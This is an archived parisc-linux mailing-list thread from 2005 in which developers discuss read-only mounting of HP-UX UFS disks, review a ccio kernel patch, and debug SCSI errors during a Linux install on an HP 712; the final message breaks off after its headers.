List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XXpMKl0fTlIv47eQeGhrSVVGU2poZZnJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22394



Grant Grundler wrote:
> On Sat, Feb 26, 2005 at 11:29:01AM -0500, John David Anglin wrote:
> 
>>>>But nothing works. 
>>>>How can i mount it. It has a filesystem of HP-UX.
>>>>fdisk command doesn't exist
>>
>>I don't believe that there is support to directly mount HP-UX file
>>systems (i.e., hfs or vxfs).  One way might be using nfs.
> 
> 
> UFS works for HPUX disks the last time I tried it a few years ago.
> 
> But, HPUX LVM is incompatible with linux LVM.
> Ie the HPUX "HFS" (aka UFS) must be "whole disk".
> 
Just to add some fresh test info:
I build such full disk with a hpux-11.00 (bundle dated Dec 2000) on my c110 and tried:
# mount -t ufs /dev/sdc /mnt/UFS-tst
mount: wrong fs type, bad option, bad superblock on /dev/sdc,
        missing codepage or other error
        In some cases useful info is found in syslog - try
        dmesg | tail  or so

dmeg saying:
ufs was compiled with read-only support, can't be mounted as read-write

I changed:
# mount -t ufs -o ro /dev/sdc /mnt/UFS-tst

even thought it accepts to mount system still complaining:
You didn't specify the type of your ufs filesystem

mount -t ufs -o ufstype=sun|sunx86|44bsd|ufs2|5xbsd|old|hp|nextstep|netxstep-cd|openstep ...

 >>>WARNING<<< Wrong ufstype may corrupt your filesystem, default is ufstype=old
ufs_read_super: can't grok fs_clean 0x17

So finaly it was:
# mount -t ufs -o ufstype=hp -o ro /dev/sdc /mnt/UFS-tst

(ufs_read_super: can't grok fs_clean 0x17 message persist; I assume just a warning)

then reading in such fs seems ok (find all file in kernel tree, tar -tvf of kernel src tar)

Thanks Grant,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: backport sba change to ccio
Date: Thu, 3 Mar 2005 22:03:24 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20050304050324.GA30252@colo.lackof.org>
References: <4208898700009474@mail-4-bnl.tiscali.it>
	<42271F19.6010406@tiscali.be>
	<20050303154531.GA18286@colo.lackof.org>
	<20050303155332.GG28741@parcelfarce.linux.theplanet.co.uk>
	<20050303170405.GC18286@colo.lackof.org>
	<4227575A.4060901@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623683 12856 80.91.229.3 (22 Nov 2014 02:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2005 05:02:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 04 Mar 2005 06:02:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E19FC7D655;
	Thu,  3 Mar 2005 22:03:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04742-10; Thu, 3 Mar 2005 22:03:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBFD57D64D;
	Thu,  3 Mar 2005 22:03:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ACE57D649
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Mar 2005 22:03:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04742-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Mar 2005 22:03:13 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1A7707D647
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Mar 2005 22:03:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2A7FE298052;
	Thu,  3 Mar 2005 22:03:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30167-03; Thu, 3 Mar 2005 22:03:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B48DD298034; Thu,  3 Mar 2005 22:03:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4227575A.4060901@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g4dMKlMWTlIv47eQeGhrSVVGU2poZVm+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22395

On Thu, Mar 03, 2005 at 06:28:42PM +0000, Joel Soete wrote:
> >replace ioc_count in just that one context with
> >	count_parisc_drivers(ccio_driver)
...
> -/* Ratio of Host MEM to IOV Space size */
> -static unsigned long ccio_mem_ratio = 4;
>  static struct ioc *ioc_list;
> -static int ioc_count;
> +static int ioc_count = 0;
> +static int global_ioc_cnt = 0;

You won't need global_ioc_cnt.
Just call count_parisc_drivers() every time.
It's walking a short list and hopefully gives back
the same result everytime.

> 
>  /**************************************************************
>  *
> @@ -559,7 +558,7 @@
>  ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>  		   unsigned long hints)
>  {
> -	register unsigned long pa = (volatile unsigned long) vba;
> +	register unsigned long pa;
>  	register unsigned long ci; /* coherent index */
> 
>  	/* We currently only support kernel addresses */
> @@ -1269,17 +1268,16 @@
>  	** Hot-Plug/Removal of PCI cards. (aka PCI OLARD).
>  	*/
> 
> +	iova_space_size = (u32) (num_physpages / global_ioc_cnt);

call count_parisc_drivers() here instead of global_ioc_cnt.

> -/* We *can't* support JAVA (T600). Venture there at your own risk. */
> -static struct parisc_device_id ccio_tbl[] = {
> -	{ HPHW_IOA, HVERSION_REV_ANY_ID, U2_IOA_RUNWAY, 0xb }, /* U2 */
> -	{ HPHW_IOA, HVERSION_REV_ANY_ID, UTURN_IOA_RUNWAY, 0xb }, /* UTurn */
> -	{ 0, }
> -};

Yeah, you'll have to move this (and related bits) further up.

> that boot fine and no more crash after stress test :-)
> (I hope the same results with previous disk failing ;-)

Very good. At least we are on the right track.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-7?q?=CC=DC=F1=E9=EF=F2=20=CA.?=" <marios_hellas_23@yahoo.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RE:] Installation Prolblem on model 712
Date: Fri, 4 Mar 2005 11:21:12 +0000 (GMT)
Lines: 191
Approved: news@gmane.org
Message-ID: <20050304112112.57017.qmail@web26809.mail.ukl.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1532192685=="
X-Trace: ger.gmane.org 1416623684 12859 80.91.229.3 (22 Nov 2014 02:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2005 11:21:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 04 Mar 2005 12:21:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C41557D627;
	Fri,  4 Mar 2005 04:22:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06529-01; Fri, 4 Mar 2005 04:22:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74E177D629;
	Fri,  4 Mar 2005 04:22:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82BDA7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 04:22:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06146-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 4 Mar 2005 04:22:10 -0700 (MST)
Original-Received: from web26809.mail.ukl.yahoo.com (web26809.mail.ukl.yahoo.com
	[217.146.176.85])
	by free.linux.hp.com (Postfix) with SMTP id B14947D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 04:22:09 -0700 (MST)
Original-Received: (qmail 57019 invoked by uid 60001); 4 Mar 2005 11:21:12 -0000
Original-Received: from [62.38.12.243] by web26809.mail.ukl.yahoo.com via HTTP;
	Fri, 04 Mar 2005 11:21:12 GMT
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oihDKogFTlIv47eQeGhrSVVGU2poZdkM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22396

--===============1532192685==
Content-Type: multipart/alternative; boundary="0-444901336-1109935272=:54695"
Content-Transfer-Encoding: 8bit

--0-444901336-1109935272=:54695
Content-Type: text/plain; charset=iso-8859-7
Content-Transfer-Encoding: 8bit


This is my dmesg output

The model is 712-60 and not 612

I am begging to suspect the error vomes from the cd-rom

It is a very old cd-rom.

The cd i burned it is good quality and have been written in 4x speed

 

 

SCSI subsystem driver Revision: 1.00

53c700: version 2.6 By James...

SCSI0: 53c710 rev 2

SCSI0: LASI SCSI 53c700

SCSI0: (3:0) Synchronous at offest 8, period 100ns

Vendor: Seagete Model:ST34520N Rev:1444

Type:Direct Access ANSI SCSI revision:02

SCSI0: (5:0) Synchronous at offest 8, period 248ns

Vendor: PIONEER Model:CD-ROM DR-104X Rev:0022

Type:Direct CD-ROM ANSI SCSI revision:02

 

Attached SCSI disk sda at scsi0, channel 0, id 3 lun 0

SCSI device sda: 8888942 512-byte hdwr sectroe (4551 MB)

PARTITION CHECK

sda:unknown partition table

Attached SCSI CD-ROM sr0 at scsi0, channel 0, id 5 lun 0

sr0: scsi-1 drive

Uniform CD-ROM driver Revision:3.12

 

RAMDISK: Compressed image found at block 0

EXT2-FS warning: Checktime reached, running e2fsck is recommended

UFS:Mounted root (ext2 filesysstem)

NOT FREEING INITMEM (383K)

VFS:DISK CHANGE DETECTED in DRIVE sr(11,0)

SCSI0 (5:0) New error handler wants to abort command

0x28 88 88 88 88 10 00 00 01 00

SCSI0 (5:0) New error handler wants device to reset

0x28 88 88 88 88 10 00 00 01 00

SCSI0 (5:0) New error handler wants bus reset,cmd 13d14c00

0x28 88 88 88 88 10 00 00 01 00

SCSI0(5:0) Synchronous at offset 8,period 248ms

SCSI0 (5:0) New error handler wants to abort command

0x28 88 88 88 88 10 00 00 01 00

SCSI:device set offline-not ready or command retry failed after bus reset

I/O error: dev 0d:00,sector 64

isofs_read_super:dread failed, dev=0d:00, iso_blunum=16,block=16

SCSI0 (3:0) New error handler wants to abort command

0x28 88 88 88 88 10 00 00 08 00

SCSI0 (3:0) New error handler wants device to reset

0x28 88 88 88 88 10 00 00 08 00

SCSI0 (3:0) New error handler wants bus reset,cmd 13d14c00

0x28 88 88 88 88 10 00 00 08 00

SCSI: device setoffline-not ready or command retry failed

after bus reset:host 0 channel 0 id 3 lin 0




---------------------------------
Do You Yahoo!?
   @yahoo.gr    Yahoo! Mail.

--0-444901336-1109935272=:54695
Content-Type: text/html; charset=iso-8859-7
Content-Transfer-Encoding: 8bit

<DIV><FONT size=2>
<P>This is my dmesg output</P>
<P>The model is 712-60 and not 612</P>
<P>I am begging to suspect the error vomes from the cd-rom</P>
<P>It is a very old cd-rom.</P>
<P>The cd i burned it is good quality and have been written in 4x speed</P></FONT><FONT face="Courier New" size=2>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>SCSI subsystem driver Revision: 1.00</P>
<P>53c700: version 2.6 By James...</P>
<P>SCSI0: 53c710 rev 2</P>
<P>SCSI0: LASI SCSI 53c700</P>
<P>SCSI0: (3:0) Synchronous at offest 8, period 100ns</P>
<P>Vendor: Seagete Model:ST34520N Rev:1444</P>
<P>Type:Direct Access ANSI SCSI revision:02</P>
<P>SCSI0: (5:0) Synchronous at offest 8, period 248ns</P>
<P>Vendor: PIONEER Model:CD-ROM DR-104X Rev:0022</P>
<P>Type:Direct CD-ROM ANSI SCSI revision:02</P>
<P>&nbsp;</P>
<P>Attached SCSI disk sda at scsi0, channel 0, id 3 lun 0</P>
<P>SCSI device sda: 8888942 512-byte hdwr sectroe (4551 MB)</P>
<P>PARTITION CHECK</P>
<P>sda:unknown partition table</P>
<P>Attached SCSI CD-ROM sr0 at scsi0, channel 0, id 5 lun 0</P>
<P>sr0: scsi-1 drive</P>
<P>Uniform CD-ROM driver Revision:3.12</P>
<P>&nbsp;</P>
<P>RAMDISK: Compressed image found at block 0</P>
<P>EXT2-FS warning: Checktime reached, running e2fsck is recommended</P>
<P>UFS:Mounted root (ext2 filesysstem)</P>
<P>NOT FREEING INITMEM (383K)</P>
<P>VFS:DISK CHANGE DETECTED in DRIVE sr(11,0)</P>
<P>SCSI0 (5:0) New error handler wants to abort command</P>
<P>0x28 88 88 88 88 10 00 00 01 00</P>
<P>SCSI0 (5:0) New error handler wants device to reset</P>
<P>0x28 88 88 88 88 10 00 00 01 00</P>
<P>SCSI0 (5:0) New error handler wants bus reset,cmd 13d14c00</P>
<P>0x28 88 88 88 88 10 00 00 01 00</P>
<P>SCSI0(5:0) Synchronous at offset 8,period 248ms</P>
<P>SCSI0 (5:0) New error handler wants to abort command</P>
<P>0x28 88 88 88 88 10 00 00 01 00</P>
<P>SCSI:device set offline-not ready or command retry failed after bus reset</P>
<P>I/O error: dev 0d:00,sector 64</P>
<P>isofs_read_super:dread failed, dev=0d:00, iso_blunum=16,block=16</P>
<P>SCSI0 (3:0) New error handler wants to abort command</P>
<P>0x28 88 88 88 88 10 00 00 08 00</P>
<P>SCSI0 (3:0) New error handler wants device to reset</P>
<P>0x28 88 88 88 88 10 00 00 08 00</P>
<P>SCSI0 (3:0) New error handler wants bus reset,cmd 13d14c00</P>
<P>0x28 88 88 88 88 10 00 00 08 00</P>
<P>SCSI: device setoffline-not ready or command retry failed</P>
<P>after bus reset:host 0 channel 0 id 3 lin 0</P></FONT></DIV><p><br><hr size=1><b>Do You Yahoo!?</b><br>   
@yahoo.gr    
<a href="http://www.otenet.gr/">Yahoo! Mail</a>.<br>
--0-444901336-1109935272=:54695--

--===============1532192685==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1532192685==--



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RE:] Installation Prolblem on model 712
Date: Fri, 4 Mar 2005 07:37:18 -0600
Lines: 142
Approved: news@gmane.org
Message-ID: <200503040737.18635.mszick@wolfbutter.com>
References: <20050304112112.57017.qmail@web26809.mail.ukl.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623684 12865 80.91.229.3 (22 Nov 2014 02:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2005 13:38:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 04 Mar 2005 14:38:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72FCC7D661;
	Fri,  4 Mar 2005 06:38:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08429-03; Fri, 4 Mar 2005 06:38:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 621D57D65E;
	Fri,  4 Mar 2005 06:38:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4DDD7D655
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 06:38:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07134-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 4 Mar 2005 06:38:43 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 42B977D641
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 06:38:43 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j24Dbk2D050259 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 4 Mar 2005 05:37:46 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [65.40.204.137] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 6k62LGf5
	authenticated by SMTP; Fri, 04 Mar 2005 05:37:45 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <20050304112112.57017.qmail@web26809.mail.ukl.yahoo.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rAhDKjJkTlIv47eQeGhrSVVGU2poZZm1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22397

On Fri March 4 2005 05:21, =CE=9C=CE=AC=CF=81=CE=B9=CE=BF=CF=82 =CE=9A. wro=
te:
>=20
> This is my dmesg output
>=20
> The model is 712-60 and not 612
>=20
> I am begging to suspect the error vomes from the cd-rom
>=20
Possible, but the installer read the kernel and the=20
initial ram-disk from it.


> It is a very old cd-rom.
>=20
> The cd i burned it is good quality and have been written in 4x speed
>=20
What kernel is this?
These messages look as if they are from a very old kernel.


> =20
>=20
> =20
>=20
> SCSI subsystem driver Revision: 1.00
>=20
> 53c700: version 2.6 By James...
>=20
> SCSI0: 53c710 rev 2
>=20
> SCSI0: LASI SCSI 53c700
>=20
> SCSI0: (3:0) Synchronous at offest 8, period 100ns
>=20
> Vendor: Seagete Model:ST34520N Rev:1444
>=20
> Type:Direct Access ANSI SCSI revision:02
>=20
> SCSI0: (5:0) Synchronous at offest 8, period 248ns
>=20
> Vendor: PIONEER Model:CD-ROM DR-104X Rev:0022
>=20
> Type:Direct CD-ROM ANSI SCSI revision:02
>=20
> =20
>=20
> Attached SCSI disk sda at scsi0, channel 0, id 3 lun 0
>=20
> SCSI device sda: 8888942 512-byte hdwr sectroe (4551 MB)
>=20
> PARTITION CHECK
>=20
> sda:unknown partition table
>
Expected, the install kernel does not know hp-ux disks.


>=20
> Attached SCSI CD-ROM sr0 at scsi0, channel 0, id 5 lun 0
>=20
> sr0: scsi-1 drive
>=20
> Uniform CD-ROM driver Revision:3.12
>=20
> =20
>=20
> RAMDISK: Compressed image found at block 0
>=20
> EXT2-FS warning: Checktime reached, running e2fsck is recommended
>=20
Expected, side effect of how ram disks are built.


> UFS:Mounted root (ext2 filesysstem)
>=20
The following seem to be from an old kernel.
Perhaps someone else on list can give more detail
than myself.


> NOT FREEING INITMEM (383K)
>=20
> VFS:DISK CHANGE DETECTED in DRIVE sr(11,0)
>=20
> SCSI0 (5:0) New error handler wants to abort command
>=20
> 0x28 88 88 88 88 10 00 00 01 00
>=20
> SCSI0 (5:0) New error handler wants device to reset
>=20
> 0x28 88 88 88 88 10 00 00 01 00
>=20
> SCSI0 (5:0) New error handler wants bus reset,cmd 13d14c00
>=20
> 0x28 88 88 88 88 10 00 00 01 00
>=20
> SCSI0(5:0) Synchronous at offset 8,period 248ms
>=20
> SCSI0 (5:0) New error handler wants to abort command
>=20
> 0x28 88 88 88 88 10 00 00 01 00
>=20
> SCSI:device set offline-not ready or command retry failed after bus reset
>=20
> I/O error: dev 0d:00,sector 64
>=20
> isofs_read_super:dread failed, dev=3D0d:00, iso_blunum=3D16,block=3D16
>=20
> SCSI0 (3:0) New error handler wants to abort command
>=20
> 0x28 88 88 88 88 10 00 00 08 00
>=20
> SCSI0 (3:0) New error handler wants device to reset
>=20
> 0x28 88 88 88 88 10 00 00 08 00
>=20
> SCSI0 (3:0) New error handler wants bus reset,cmd 13d14c00
>=20
> 0x28 88 88 88 88 10 00 00 08 00
>=20
> SCSI: device setoffline-not ready or command retry failed
>=20
> after bus reset:host 0 channel 0 id 3 lin 0
>=20
>=20
>=20
>=20
> ---------------------------------
> Do You Yahoo!?
> =EF=BE=81=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BE=9E=EF=BF=BD=EF=BF=BD=
=EF=BF=BD =EF=BF=BD=EF=BF=BD=EF=BF=BD =EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD=
=EF=BE=9C=EF=BF=BD =EF=BF=BD=EF=BF=BD=EF=BF=BD@yahoo.gr =EF=BF=BD=EF=BF=BD=
=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD=EF=BF=BD  =EF=BF=BD=
=EF=BF=BD=EF=BF=BD Yahoo! Mail.
>=20
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michiel Broek <mbroek@mbse.dds.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RE:] Installation Prolblem on model 712
Date: Fri, 4 Mar 2005 21:04:08 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <200503042104.08973.mbroek@mbse.dds.nl>
References: <20050304112112.57017.qmail@web26809.mail.ukl.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623684 12880 80.91.229.3 (22 Nov 2014 02:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:44 +0000 (UTC)
